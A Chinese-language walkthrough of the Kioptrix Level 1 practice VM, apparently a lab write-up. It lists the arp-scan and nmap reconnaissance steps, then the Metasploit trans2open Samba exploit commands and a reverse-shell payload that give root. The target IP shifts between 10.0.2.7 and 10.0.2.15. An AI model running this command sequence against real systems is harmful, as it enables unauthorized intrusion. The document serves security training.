Kioptrix Level 1渗透测试
目标:取得靶机的root权限。
1.发现主机
sudo arp-scan -l
扫描本地局域网内所有活跃主机。对比启动靶机前和启动靶机后的结果,确定靶机ip为10.0.2.7。- 此外,可以用
ping -c 3 10.0.2.7
向IP地址 10.0.2.7 发送3个ICMP回显请求包,测试与该主机的网络连通性,进一步确认是否为靶机。
ip addr
可以确定本机ip,此时为10.0.2.3
2.端口扫描
nmap -p- 10.0.2.15
扫描靶机全部TCP端口,共65535个,耗时较长。nmap 10.0.2.15
只扫描最常见的1000个TCP端口,速度较快。
nmap(Network Mapper)是网络管理员和渗透测试人员必备的工具,主要用于探索网络、检查安全状况以及识别网络上的设备和服务。
功能分类 | 描述 | 示例命令 |
---|---|---|
主机发现 | 找出网络中有哪些主机在线。 | nmap -sn 192.168.1.0/24 |
端口扫描 | 找出目标主机上哪些端口是开放的。 | nmap 10.0.2.15 |
版本探测 | 确定开放端口上运行的是什么软件及其版本号。 | nmap -sV 10.0.2.15 |
操作系统探测 | 猜测目标主机运行的操作系统。 | nmap -O 10.0.2.15 |
3.端口服务扫描
nmap -p 22,80,111,139,443,32768 -sV 10.0.2.7
,对探测到的端口进行版本探测。命令格式:nmap -p[端口,中间用逗号隔开] -sV 靶机ip
,-sV:进行版本探测(Version detection)。
由返回的结果可知,靶机端口版本非常老旧,存在很多漏洞,后面将以Samba作为突破点。
4.使用Metasploit framework进行攻击
Metasploit Framework 是一个开源的渗透测试平台,也是目前全球最流行、最强大的网络安全工具之一。它提供了一套完整的工具集,让安全专业人员能够系统地测试和验证系统的安全性。
组件 | 用途 | 示例 |
---|---|---|
Modules(模块) | 核心功能单元 | 漏洞利用、载荷、辅助模块等 |
Payloads(载荷) | 攻击成功后执行的代码 | 反向shell、Meterpreter等 |
Auxiliary(辅助) | 信息收集、扫描等 | 端口扫描、服务识别等 |
Exploits(漏洞利用) | 利用特定漏洞的代码 | MS17-010(永恒之蓝) |
Encoders(编码器) | 规避防病毒检测 | 对载荷进行编码混淆 |
msfconsole
启动Metasploit frameworksearch Samba
搜索与Samba服务相关的模块,只用看exploit
模块,最后选择exploit/linux/samba/trans2open
模块use exploit/linux/samba/trans2open
启用该模块info
查看该模块信息set rhosts 10.0.2.7
设置目标主机的IP地址exploit
进行攻击,没有成功。
第二次尝试
更换payload,set payload linux/x86/shell_reverse_tcp
(原来是linux/x86/meterpreter/reverse_tcp),成功进入并获得root权限。
shell_reverse_tcp:功能非常单一,就是建立一个反向Shell。代码量小,行为简单,稳定可靠。它只是简单地调用 /bin/sh 并将其输入/输出重定向到网络连接。
meterpreter :功能极其丰富。它需要在内存中注入一个复杂的DLL(或Linux下的共享库),建立加密通信,并加载一系列扩展功能模块(文件系统、网络、权限提升等)。任何一个环节出问题(如内存布局不兼容、特定系统调用被拦截、依赖缺失)都可能导致整个Payload失败。